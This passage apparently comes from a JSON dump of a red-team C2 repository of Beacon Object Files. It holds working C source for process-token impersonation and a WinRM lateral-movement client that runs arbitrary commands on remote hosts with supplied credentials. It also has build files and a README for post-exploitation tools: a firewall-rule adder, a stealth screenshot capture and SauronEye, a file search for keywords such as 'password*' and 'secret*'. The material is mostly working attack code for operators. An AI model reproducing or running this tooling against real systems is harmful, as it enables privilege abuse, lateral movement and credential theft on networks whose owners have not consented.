KERNEL32$HeapFree(HANDLE, DWORD, PVOID);\nWINBASEAPI HLOCAL  WINAPI KERNEL32$LocalFree (HLOCAL);\nWINADVAPI  WINBOOL WINAPI ADVAPI32$GetTokenInformation (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);\nWINADVAPI  WINBOOL WINAPI ADVAPI32$LookupAccountSidA (LPCSTR lpSystemName, PSID Sid, LPSTR Name, LPDWORD cchName, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);\nWINBASEAPI NTSTATUS NTAPI SECUR32$LsaGetLogonSessionData(PLUID LogonId,PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData);\nWINBASEAPI NTSTATUS NTAPI SECUR32$LsaFreeReturnBuffer (PVOID Buffer);\n\n#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)\n\n//// impersonation\n//   NtOpenProcessToken - TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE\n//   NtDuplicateToken   - TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE\n\n//// Create Process\n// NtOpenProcessToken - TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES | TOKEN_ASSIGN_PRIMARY\n// NtDuplicateToken   - TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES\n\nBOOL GetLogonTypeFromToken(HANDLE hToken, ULONG* logonType) {\n    if (!hToken || !logonType)\n        return FALSE;\n\n    TOKEN_STATISTICS stats;\n    DWORD size;\n    if (!ADVAPI32$GetTokenInformation(hToken, TokenStatistics, &stats, sizeof(stats), &size)) {\n        return FALSE;\n    }\n\n    LUID authId = stats.AuthenticationId;\n    PSECURITY_LOGON_SESSION_DATA pSessionData = NULL;\n\n    if (SECUR32$LsaGetLogonSessionData(&authId, &pSessionData) != 0 || pSessionData == NULL) {\n        return FALSE;\n    }\n\n    *logonType = pSessionData->LogonType;\n\n    SECUR32$LsaFreeReturnBuffer(pSessionData);\n    return TRUE;\n}\n\n\nBOOL TokenToUser(HANDLE hToken, CHAR* username, DWORD* usernameSize, CHAR* domain, DWORD* domainSize, BOOL* elevated, DWORD* logonType)\n{\n    BOOL result = FALSE;\n    if (hToken) {\n        LPVOID tokenInfo = NULL;\n        DWORD  tokenInfoSize = 0;\n\n\t\tresult = ADVAPI32$GetTokenInformation(hToken, TokenUser, tokenInfo, 0, &tokenInfoSize);\n        if (!result) {\n            tokenInfo = KERNEL32$HeapAlloc( KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, tokenInfoSize );\n            if (tokenInfo)\n                result = ADVAPI32$GetTokenInformation(hToken, TokenUser, tokenInfo, tokenInfoSize, &tokenInfoSize);\n        }\n\n        TOKEN_ELEVATION Elevation = { 0 };\n        DWORD eleavationSize = sizeof(TOKEN_ELEVATION);\n        ADVAPI32$GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &eleavationSize);\n\n        if (result) {\n            SID_NAME_USE SidType;\n            result = ADVAPI32$LookupAccountSidA(NULL, ((PTOKEN_USER)tokenInfo)->User.Sid, username, usernameSize, domain, domainSize, &SidType);\n            if (result) {\n                *elevated = Elevation.TokenIsElevated;\n            }\n        }\n\n\t\tGetLogonTypeFromToken(hToken, logonType);\n\n        if (tokenInfo)\n            KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, tokenInfo);\n    }\n    return result;\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length )\n{\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n\n    DWORD pid = BeaconDataInt(&parser);\n\n    OBJECT_ATTRIBUTES ObjAttr  = { sizeof( ObjAttr ) };\n    CLIENT_ID         Client   = {0};\n    HANDLE            hProcess = NULL;\n\n    Client.UniqueProcess = pid;\n    NTSTATUS NtStatus = NTDLL$NtOpenProcess( &hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &ObjAttr, &Client );\n    if ( NT_SUCCESS(NtStatus) && hProcess) {\n\n        HANDLE hToken = NULL;\n        NtStatus = NTDLL$NtOpenProcessToken( hProcess, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE, &hToken );\n        if ( NT_SUCCESS(NtStatus) && hToken) {\n\n            HANDLE hDupToken = NULL;\n            OBJECT_ATTRIBUTES ObjAttr;\n            SECURITY_QUALITY_OF_SERVICE Sqos = { sizeof(SECURITY_QUALITY_OF_SERVICE), SecurityImpersonation, SECURITY_STATIC_TRACKING, FALSE };\n            InitializeObjectAttributes(&ObjAttr, NULL, 0, NULL, NULL);\n            ObjAttr.SecurityQualityOfService = &Sqos;\n\n            NTSTATUS Status = NTDLL$NtDuplicateToken( hToken, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE, &ObjAttr, FALSE, TokenImpersonation, &hDupToken );\n            if ( NT_SUCCESS(Status) && hDupToken ) {\n                if( BeaconUseToken(hDupToken) ) {\n                    BOOL  elevated2     = FALSE;\n                    CHAR* username2     = (CHAR*) KERNEL32$HeapAlloc( KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, 512 );\n                    ULONG usernameSize2 = 512;\n                    CHAR* domain2       = (CHAR*) KERNEL32$HeapAlloc( KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, 512 );\n                    ULONG domainSize2   = 512;\n                    ULONG logonType2    = 0;\n                    BOOL result = TokenToUser(hToken, username2, &usernameSize2, domain2, &domainSize2, &elevated2, &logonType2);\n                    if (result) {\n                        if (elevated2)\n                            BeaconPrintf(CALLBACK_OUTPUT, \"The user impersonated successfully: %s\\\\%s (logon: %d) [elevated].\\n\", domain2, username2, logonType2);\n                        else\n                            BeaconPrintf(CALLBACK_OUTPUT, \"The user impersonated successfully: %s\\\\%s (logon: %d).\\n\", domain2, username2, logonType2);\n                    } else {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"The user impersonated successfully\");\n                    }\n                    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, username2);\n                    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, domain2);\n                }\n                else {\n                    BeaconPrintf(CALLBACK_ERROR, \"Failed to impersonate user. Error: %d\\n\", KERNEL32$GetLastError());\n                }\n            }\n            else {\n                ULONG error = NTDLL$RtlNtStatusToDosError(NtStatus);\n                BeaconPrintf(CALLBACK_ERROR, \"Failed to duplicate token. Error: %d\\n\", error);\n            }\n        }\n        else {\n            ULONG error = NTDLL$RtlNtStatusToDosError(NtStatus);\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to open token. Error: %d\\n\", error);\n        }\n\n        if ( hToken ) {\n            NTDLL$NtClose(hToken);\n            hToken = NULL;\n        }\n    }\n    else {\n        ULONG error = NTDLL$RtlNtStatusToDosError(NtStatus);\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to open process. Error: %d\\n\", error);\n    }\n\n    if ( hProcess ) {\n        NTDLL$NtClose(hProcess);\n        hProcess = NULL;\n    }\n}"
  },
  {
    "path": "LateralMovement-BOF/winrm-client/winrm.cpp",
    "content": "#include <windows.h>\n#define WSMAN_API_VERSION_1_0\n#include <wsman.h>\n\nextern \"C\" {\n#include \"beacon.h\"\n\nWINBASEAPI DWORD  WINAPI KERNEL32$GetLastError(VOID);\nWINBASEAPI INT    WINAPI MSVCRT$vsnprintf(PCHAR d, size_t n, PCHAR format, va_list arg);\nWINBASEAPI DWORD  WINAPI WsmSvc$WSManInitialize(DWORD flags, WSMAN_API_HANDLE *apiHandle);\nWINBASEAPI DWORD  WINAPI WsmSvc$WSManCreateSession(WSMAN_API_HANDLE apiHandle, PCWSTR connection, DWORD flags, WSMAN_AUTHENTICATION_CREDENTIALS* serverAuthenticationCredentials, WSMAN_PROXY_INFO* proxyInfo, WSMAN_SESSION_HANDLE* session);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateEventW(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCWSTR lpName);\nWINBASEAPI VOID   WINAPI WsmSvc$WSManCreateShell(WSMAN_SESSION_HANDLE session, DWORD flags, PCWSTR resourceUri, WSMAN_SHELL_STARTUP_INFO* startupInfo, WSMAN_OPTION_SET* options, WSMAN_DATA* createXml, WSMAN_SHELL_ASYNC* async, WSMAN_SHELL_HANDLE* shell);\nWINBASEAPI DWORD  WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle, DWORD  dwMilliseconds);\nWINBASEAPI BOOL   WINAPI KERNEL32$SetEvent(HANDLE hEvent);\nWINBASEAPI VOID   WINAPI WsmSvc$WSManRunShellCommand(WSMAN_SHELL_HANDLE shell, DWORD flags, PCWSTR commandLine, WSMAN_COMMAND_ARG_SET* args, WSMAN_OPTION_SET* options, WSMAN_SHELL_ASYNC* async, WSMAN_COMMAND_HANDLE* command);\nWINBASEAPI PVOID  WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();\nWINBASEAPI BOOL   WINAPI KERNEL32$CreatePipe(PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize);\nWINBASEAPI BOOL   WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);\nWINBASEAPI BOOL   WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);\nWINBASEAPI PWCHAR WINAPI MSVCRT$wcscmp(const wchar_t* _lhs, const wchar_t* _rhs);\nWINBASEAPI VOID   WINAPI WsmSvc$WSManReceiveShellOutput(WSMAN_SHELL_HANDLE shell, WSMAN_COMMAND_HANDLE command, DWORD flags, WSMAN_STREAM_ID_SET* desiredStreamSet, WSMAN_SHELL_ASYNC* async, WSMAN_OPERATION_HANDLE* receiveOperation);\nWINBASEAPI VOID   WINAPI WsmSvc$WSManCloseCommand(WSMAN_COMMAND_HANDLE commandHandle, DWORD flags, WSMAN_SHELL_ASYNC* async);\nWINBASEAPI VOID   WINAPI WsmSvc$WSManCloseShell(WSMAN_SHELL_HANDLE shellHandle, DWORD flags, WSMAN_SHELL_ASYNC* async);\nWINBASEAPI DWORD  WINAPI WsmSvc$WSManCloseSession(WSMAN_SESSION_HANDLE session, DWORD flags);\nWINBASEAPI DWORD  WINAPI WsmSvc$WSManDeinitialize(WSMAN_API_HANDLE apiHandle, DWORD flags);\nWINBASEAPI DWORD  WINAPI KERNEL32$CloseHandle(HANDLE hObject);\nWINBASEAPI BOOL   WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);\nWINBASEAPI DWORD  WINAPI WsmSvc$WSManCloseOperation(WSMAN_OPERATION_HANDLE operationHandle, DWORD flags);\n\n#define GetLastError KERNEL32$GetLastError\n#define vsnprintf MSVCRT$vsnprintf\n#define WSManInitialize WsmSvc$WSManInitialize\n#define WSManCreateSession WsmSvc$WSManCreateSession\n#define CreateEventW KERNEL32$CreateEventW\n#define WSManCreateShell WsmSvc$WSManCreateShell\n#define WaitForSingleObject KERNEL32$WaitForSingleObject\n#define SetEvent KERNEL32$SetEvent\n#define WSManRunShellCommand WsmSvc$WSManRunShellCommand\n#define HeapAlloc KERNEL32$HeapAlloc\n#define GetProcessHeap KERNEL32$GetProcessHeap\n#define CreatePipe KERNEL32$CreatePipe\n#define WriteFile KERNEL32$WriteFile\n#define ReadFile KERNEL32$ReadFile\n#define wcscmp MSVCRT$wcscmp\n#define WSManReceiveShellOutput WsmSvc$WSManReceiveShellOutput\n#define WSManCloseCommand WsmSvc$WSManCloseCommand\n#define WSManCloseShell WsmSvc$WSManCloseShell\n#define WSManCloseSession WsmSvc$WSManCloseSession\n#define WSManDeinitialize WsmSvc$WSManDeinitialize\n#define CloseHandle KERNEL32$CloseHandle\n#define HeapFree KERNEL32$HeapFree\n#define WSManCloseOperation WsmSvc$WSManCloseOperation\n\n    typedef struct  {\n        HANDLE event;\n        BOOL hadError;\n        BOOL commandDone;\n    } ctxCallback, *PCtxCallback;\n\n    void WSManShellCompletionFunction( PVOID operationContext, DWORD flags, WSMAN_ERROR* error, WSMAN_SHELL_HANDLE shell, WSMAN_COMMAND_HANDLE command, WSMAN_OPERATION_HANDLE operationHandle, WSMAN_RECEIVE_DATA_RESULT* data )\n    {\n        if (operationContext == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"no context was passed to WSManShellCompletionFunction\\n\");\n            return;\n        }\n        PCtxCallback ctxOperation = (PCtxCallback)operationContext;\n        if (error && error->code) {\n            BeaconPrintf(CALLBACK_ERROR, \"error WSManCreateShell: %d\\n\", error->code);\n            ctxOperation->hadError = TRUE;\n        }\n        SetEvent(ctxOperation->event);\n    }\n\n    void ReceiveCallback( PVOID operationContext, DWORD flags, WSMAN_ERROR* error, WSMAN_SHELL_HANDLE shell, WSMAN_COMMAND_HANDLE command, WSMAN_OPERATION_HANDLE operationHandle, WSMAN_RECEIVE_DATA_RESULT* data )\n    {\n        if (operationContext == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"no context was passed to WSManRunShellCommand\");\n            return;\n        }\n        PCtxCallback ctxOperation = (PCtxCallback)operationContext;\n        if (error && 0 != error->code) {\n            BeaconPrintf(CALLBACK_ERROR, \"error WSManRunShellCommand: %d\\n\", error->code);\n            ctxOperation->hadError = TRUE;\n        }\n\n        if (data && data->streamData.type & WSMAN_DATA_TYPE_BINARY && data->streamData.binaryData.dataLength) {\n            DWORD bufferLength = data->streamData.binaryData.dataLength;\n            PCHAR buffer = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufferLength + 1);\n            if (buffer == NULL) {\n                BeaconPrintf(CALLBACK_ERROR, \"error HeapAlloc: %d\\n\", GetLastError());\n                return;\n            }\n\n            for (DWORD i = 0; i < bufferLength; i++)\n                buffer[i] = ((PCHAR)data->streamData.binaryData.data)[i];\n            buffer[bufferLength] = '\\0';\n            BeaconPrintf(CALLBACK_OUTPUT, \"%s\", buffer);\n\n            if (!HeapFree(GetProcessHeap(), NULL, buffer))\n                BeaconPrintf(CALLBACK_ERROR, \"error HeapFree: %d\\n\", GetLastError());\n        }\n\n        if (data && data->commandState && wcscmp(data->commandState, WSMAN_COMMAND_STATE_DONE) == 0)\n            ctxOperation->commandDone = TRUE;\n\n        if ((error && 0 != error->code) || ctxOperation->commandDone)\n            SetEvent(ctxOperation->event);\n    }\n\n    void go(char* args, int length) {\n        datap parser;\n        BeaconDataParse(&parser, args, length);\n        PWCHAR hostname = (PWCHAR)BeaconDataExtract(&parser, NULL);\n        PWCHAR cmd      = (PWCHAR)BeaconDataExtract(&parser, NULL);\n//        PWCHAR hostname = L\"adcs\";\n//        PWCHAR cmd = L\"whoami /all\";\n\n        HANDLE hEventShellCompl = { 0 };\n        HANDLE hEventReceive = { 0 };\n        WSMAN_API_HANDLE hApi = { 0 };\n        WSMAN_SHELL_HANDLE hShell = { 0 };\n        WSMAN_SHELL_ASYNC wsAsync = { 0 };\n        WSMAN_SHELL_ASYNC wsAsyncShell = { 0 };\n        WSMAN_COMMAND_HANDLE hCmd = { 0 };\n        ctxCallback ctxCreateShell = { 0 };\n        ctxCallback ctxReceiveShell = { 0 };\n        WSMAN_OPERATION_HANDLE receiveOperation = { 0 };\n\n        WSMAN_AUTHENTICATION_CREDENTIALS serverAuthenticationCredentials = { 0 };\n\n        PCWSTR commandLine = cmd;\n        PCWSTR connection  = hostname;\n        WSMAN_SESSION_HANDLE hSession = { 0 };\n        DWORD timeoutMs = 15000;\n        DWORD receiveWaitMs = timeoutMs;\n        DWORD waitResult = WAIT_OBJECT_0;\n        BOOL background = FALSE;\n\n        if (BeaconDataLength(&parser) >= (int)sizeof(int)) {\n            timeoutMs = (DWORD)BeaconDataInt(&parser);\n            receiveWaitMs = (timeoutMs == 0) ? INFINITE : timeoutMs;\n        }\n        if (BeaconDataLength(&parser) >= (int)sizeof(int))\n            background = BeaconDataInt(&parser) ? TRUE : FALSE;\n\n        PWCHAR username = NULL;\n        PWCHAR password = NULL;\n        if (BeaconDataLength(&parser) > 0)\n            username = (PWCHAR)BeaconDataExtract(&parser, NULL);\n        if (BeaconDataLength(&parser) > 0)\n            password = (PWCHAR)BeaconDataExtract(&parser, NULL);\n\n        if (username && username[0] != L'\\0') {\n            serverAuthenticationCredentials.authenticationMechanism = WSMAN_FLAG_AUTH_NEGOTIATE;\n            serverAuthenticationCredentials.userAccount.username = username;\n            serverAuthenticationCredentials.userAccount.password = password;\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Using explicit credentials: %S\\n\", username);\n        } else {\n            serverAuthenticationCredentials.authenticationMechanism = WSMAN_FLAG_DEFAULT_AUTHENTICATION;\n        }\n\n        DWORD ret = WSManInitialize(WSMAN_FLAG_REQUESTED_API_VERSION_1_0, &hApi);\n        if (ret != NO_ERROR) {\n            BeaconPrintf(CALLBACK_ERROR, \"Error WSManInitialize: %d\\n\", ret);\n            goto deInitialize;\n        }\n\n        ret = WSManCreateSession(hApi, connection, 0, &serverAuthenticationCredentials, NULL, &hSession);\n        if (ret != NO_ERROR) {\n            BeaconPrintf(CALLBACK_ERROR, \"error WSManCreateSesdsion: %d\\n\", ret);\n            goto closeSession;\n        }\n\n        hEventShellCompl = CreateEventW(NULL, FALSE, FALSE, NULL);\n        if (hEventShellCompl == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"error CreateEventW: %d\\n\", GetLastError());\n            goto closeSession;\n        }\n\n        ctxCreateShell.event = hEventShellCompl;\n        ctxCreateShell.hadError = FALSE;\n        wsAsync.operationContext = &ctxCreateShell;\n        wsAsync.completionFunction = &WSManShellCompletionFunction;\n\n        WSManCreateShell(hSession, 0, WSMAN_CMDSHELL_URI, NULL, NULL, NULL, &wsAsync, &hShell);\n        WaitForSingleObject(hEventShellCompl, 15000);\n        if (ctxCreateShell.hadError)\n            goto closeShell;\n\n\n        WSManRunShellCommand(hShell, 0, commandLine, NULL, NULL, &wsAsync, &hCmd);\n        WaitForSingleObject(hEventShellCompl, 15000);\n        if (ctxCreateShell.hadError)\n            goto closeCommand;\n\n        if (background) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] WinRM command launched in background (session kept open)\\n\");\n            goto backgroundDone;\n        }\n\n        hEventReceive = CreateEventW(NULL, FALSE, NULL, NULL);\n        if (hEventReceive == NULL) {\n            BeaconPrintf(CALLBACK_ERROR, \"error CreateEventW: %d\\n\", GetLastError());\n            goto closeCommand;\n        }\n        ctxReceiveShell.event = hEventReceive;\n        ctxReceiveShell.commandDone = FALSE;\n        wsAsyncShell.operationContext = &ctxReceiveShell;\n        wsAsyncShell.completionFunction = &ReceiveCallback;\n\n        WSManReceiveShellOutput(hShell, hCmd, 0, NULL, &wsAsyncShell, &receiveOperation);\n        waitResult = WaitForSingleObject(hEventReceive, receiveWaitMs);\n        if (waitResult == WAIT_TIMEOUT) {\n            BeaconPrintf(CALLBACK_ERROR, \"WinRM receive timeout after %lu ms (command may still be running). Use -t 0 to wait indefinitely or -b for background.\\n\", receiveWaitMs);\n        }\n\n        ret = WSManCloseOperation(receiveOperation, 0);\n        if (ret != NO_ERROR) BeaconPrintf(CALLBACK_ERROR, \"error WSManCloseOperation: %ld\\n\", ret);\n\n        goto closeCommand;\n\n\n\n    backgroundDone:\n        if (hEventReceive != NULL)\n            CloseHandle(hEventReceive);\n        if (hEventShellCompl != NULL)\n            CloseHandle(hEventShellCompl);\n        return;\n\n    closeCommand:\n        WSManCloseCommand(hCmd, 0, &wsAsync);\n        WaitForSingleObject(hEventShellCompl, 15000);\n\n    closeShell:\n        WSManCloseShell(hShell, 0, &wsAsync);\n        WaitForSingleObject(hEventShellCompl, 15000);\n\n    closeSession:\n        ret = WSManCloseSession(hSession, 0);\n        if (ret != NO_ERROR) BeaconPrintf(CALLBACK_ERROR, \"error WSManCloseSession: %ld\\n\", ret);\n\n    deInitialize:\n        ret = WSManDeinitialize(hApi, 0);\n        if (ret != NO_ERROR) BeaconPrintf(CALLBACK_ERROR, \"error WSManDeinitialize: %ld\\n\", ret);\n\n        if (hEventReceive != NULL)\n            CloseHandle(hEventReceive);\n        if (hEventShellCompl != NULL)\n            CloseHandle(hEventShellCompl);\n    }\n}"
  },
  {
    "path": "Makefile",
    "content": "SUBDIRS := AD-BOF Creds-BOF Elevation-BOF Execution-BOF Injection-BOF LateralMovement-BOF Postex-BOF Process-BOF SAL-BOF SAR-BOF\n\n.PHONY: all $(SUBDIRS) clean docker-build\n\nall: $(SUBDIRS)\n$(SUBDIRS):\n\t@echo \"=====>>  $@\"\n\t@$(MAKE) --no-print-directory -C $@\n\t@echo \"\"\n\nclean:\n\t@for dir in $(SUBDIRS); do \\\n\t\t$(MAKE) --no-print-directory -C $$dir clean; \\\n\tdone\n\ndocker-build:\n\tdocker compose build --no-cache && docker compose run bof-build"
  },
  {
    "path": "Postex-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n#project(Postex-BOF C)\n\nset(CMAKE_C_STANDARD 99)\n\n# Include directories (main _include is at root level)\ninclude_directories(${CMAKE_SOURCE_DIR}/_include)\n\n# Source files\nset(SCREENSHOT_SOURCES ScreenshotBOF/entry.c)\nset(ADDFIREWALLRULE_SOURCES firewallrule/addfirewallrule.c)\nset(SAURONEYE_SOURCES SauronEyeBOF/entry.c)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -w -Wno-int-conversion -Wno-incompatible-pointer-types\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\n\n# Object file targets\nadd_library(Screenshot OBJECT ${SCREENSHOT_SOURCES})\nadd_library(addfirewallrule OBJECT ${ADDFIREWALLRULE_SOURCES})\nadd_library(sauroneye OBJECT ${SAURONEYE_SOURCES})\n\n# Create _bin directory\nfile(MAKE_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/_bin)\n\n# Custom commands to copy object files to _bin\nadd_custom_target(copy_Screenshot ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:Screenshot> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Screenshot.x64.o\n    DEPENDS Screenshot\n    COMMENT \"Copying Screenshot object file\"\n)\n\nadd_custom_target(copy_addfirewallrule ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:addfirewallrule> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/addfirewallrule.x64.o\n    DEPENDS addfirewallrule\n    COMMENT \"Copying addfirewallrule object file\"\n)\n\nadd_custom_target(copy_sauroneye ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:sauroneye> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/sauroneye.x64.o\n    DEPENDS sauroneye\n    COMMENT \"Copying sauroneye object file\"\n)\n"
  },
  {
    "path": "Postex-BOF/Makefile",
    "content": "CC64 = x86_64-w64-mingw32-gcc\nCC86 = i686-w64-mingw32-gcc\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nSTRIP86 = i686-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I ../_include -w -Wno-int-conversion -Wno-incompatible-pointer-types -Os -DBOF -s -c\n\nall: bof\n\nbof: clean\n\t@(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists'\n\t# 64-bit builds\n\t@($(CC64) $(CFLAGS) ScreenshotBOF/entry.c -o _bin/Screenshot.x64.o && $(STRIP64) _bin/Screenshot.x64.o) && echo '[+] Screenshot (x64)' || echo '[!] Screenshot (x64)'\n\t@($(CC64) $(CFLAGS) firewallrule/addfirewallrule.c -o _bin/addfirewallrule.x64.o && $(STRIP64) _bin/addfirewallrule.x64.o) && echo '[+] addfirewallrule (x64)' || echo '[!] addfirewallrule (x64)'\n\t@($(CC64) $(CFLAGS) SauronEyeBOF/entry.c -o _bin/sauroneye.x64.o && $(STRIP64) _bin/sauroneye.x64.o) && echo '[+] sauroneye (x64)' || echo '[!] sauroneye (x64)'\n\t# 32-bit builds\n\t@($(CC86) $(CFLAGS) ScreenshotBOF/entry.c -o _bin/Screenshot.x32.o && $(STRIP86) _bin/Screenshot.x32.o) && echo '[+] Screenshot (x32)' || echo '[!] Screenshot (x32)'\n\t@($(CC86) $(CFLAGS) firewallrule/addfirewallrule.c -o _bin/addfirewallrule.x32.o && $(STRIP86) _bin/addfirewallrule.x32.o) && echo '[+] addfirewallrule (x32)' || echo '[!] addfirewallrule (x32)'\n\t@($(CC86) $(CFLAGS) SauronEyeBOF/entry.c -o _bin/sauroneye.x32.o && $(STRIP86) _bin/sauroneye.x32.o) && echo '[+] sauroneye (x32)' || echo '[!] sauroneye (x32)'\n\nclean:\n\t@(rm -rf _bin)\n"
  },
  {
    "path": "Postex-BOF/README.md",
    "content": "# PostEx-BOF\n\nThis extension allows you to customize the Beacon Object File (BOF) for future use.\n\n![](_img/01.png)\n\n\n\n## firewallrule\n\nA BOF tool that can be used to add a new inbound or outbound firewall rule using COM.\n\n```\nfirewallrule add <port> <rulename> [direction] [-g rulegroup] [-d description]\n```\n\n\n\n## ScreenshotBOF\n\nAn alternative screenshot capability that uses WinAPI and does not perform a fork & run:\n- JPEG is used in place of BMP\n- Added beacon screenshot callback option\n- Removed BMP renderer (it will be missed)\n- Supports capturing of minimized windows\n\nThe screenshot will be saved in the AdaptixC2 screenshot storage.\n\n```\nscreenshot_bof [-n note] [-p pid]\n```\n\nThe **Screenshot** item will be added to the **Access** menu in the Sessions Table and Graph.\n\n![](_img/02.png)\n\n\n\n## SauronEyeBOF\n\nA file search tool ported from SauronEye to BOF format. Searches directories for files containing specific keywords:\n- Search files by name patterns (supports wildcards * )\n- Search file contents for keywords (with `-c` flag, supports wildcards * )\n- Filter by file extensions\n- Filter by file modification date\n- Exclude system directories (Windows, AppData, Program Files)\n- Configurable max file size\n\n```\nsauroneye [-d directories] [-f filetypes] [-k keywords] [-c] [-m maxfilesize] [-s] [-b beforedate] [-a afterdate] [-v] [-D] [-W wildcardattempts] [-S wildcardsize] [-B wildcardbacktrack]\n```\n\nOptions:\n- `-d directories`: Comma-separated list of directories to search (default: C:\\)\n- `-f filetypes`: Comma-separated list of file extensions (default: .txt,.docx)\n- `-k keywords`: Comma-separated list of keywords with wildcards (default: none - matches all filenames). Used for searching in filenames and/or file contents\n- `-c`: Search file contents for keywords. When enabled, searches inside files for keywords in addition to searching filenames\n- `-m maxfilesize`: Max file size in KB for content search (default: 1024)\n- `-s`: Search in system directories (default: false)\n- `-b beforedate`: Filter files modified before date (format: dd.MM.yyyy)\n- `-a afterdate`: Filter files modified after date (format: dd.MM.yyyy)\n- `-v`: Check for VBA macros in Office files using OOXML detection (no OLE, stealthier)\n- `-D`: Show file creation and modification dates in output. Format: `[C:dd.MM.yyyy M:dd.MM.yyyy]` where C: is creation date and M: is modification date\n- `-W wildcardattempts`: Maximum pattern matching attempts for wildcard search (default: 1000). Increase for complex patterns\n- `-S wildcardsize`: Maximum search area in KB for large files when using wildcards (default: 200KB). Increase to search more of large files\n- `-B wildcardbacktrack`: Maximum backtracking operations for wildcard matching (default: 1000). Increase for complex patterns\n\nExamples:\n```\n# Search only on C:\\ drive (default)\nsauroneye -f .docx\n# Search on multiple drives\nsauroneye -d C:\\,D:\\ -f .txt,.docx -k secret*,password*\n# Search specific directories\nsauroneye -d C:\\Users,D:\\Documents,E:\\Backup -f .txt,.docx,.xlsx -k pass*,secret* -b 2024-01-01\n```\n\n\n## Credits\n* ScreenshotBOF - https://github.com/CodeXTF2/ScreenshotBOF\n* OperatorsKit - https://github.com/REDMED-X/OperatorsKit\n* SauronEye-BOF - https://github.com/shashinma/SauronEye-BOF"
  },
  {
    "path": "Postex-BOF/SauronEyeBOF/entry.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"sauroneye.h\"\n#include \"beacon.h\"\n\n\nstatic BOOL buffer_contains(const char* buf, DWORD len, const char* pat) {\n    if (!buf || !pat) return FALSE;\n    size_t plen = MSVCRT$strlen(pat);\n    if (plen == 0 || len < (DWORD)plen) return FALSE;\n    const unsigned char first = (unsigned char)pat[0];\n    const DWORD max_pos = len - (DWORD)plen;\n    for (DWORD i = 0; i <= max_pos; i++) {\n        if ((unsigned char)buf[i] == first) {\n            if (plen > 1 && (unsigned char)buf[i + plen - 1] != (unsigned char)pat[plen - 1]) {\n                continue;\n            }\n            DWORD j = 1;\n            for (; j < plen - 1; j++) {\n                if ((unsigned char)buf[i + j] != (unsigned char)pat[j]) break;\n            }\n            if (j == plen - 1) return TRUE;\n        }\n    }\n    return FALSE;\n}\nBOOL CheckForVBAMacrosStrict(const char* filepath, BOOL use_ole) {\n    (void)use_ole;\n    if (!filepath) return FALSE;\n    HANDLE h = KERNEL32$CreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n    if (h == INVALID_HANDLE_VALUE) return FALSE;\n    FILE_STANDARD_INFORMATION finfo = {0};\n    IO_STATUS_BLOCK ios = {0};\n    if (NTDLL$NtQueryInformationFile(h, &ios, &finfo, sizeof(finfo), FileStandardInformation) != 0 || finfo.EndOfFile.QuadPart == 0) {\n        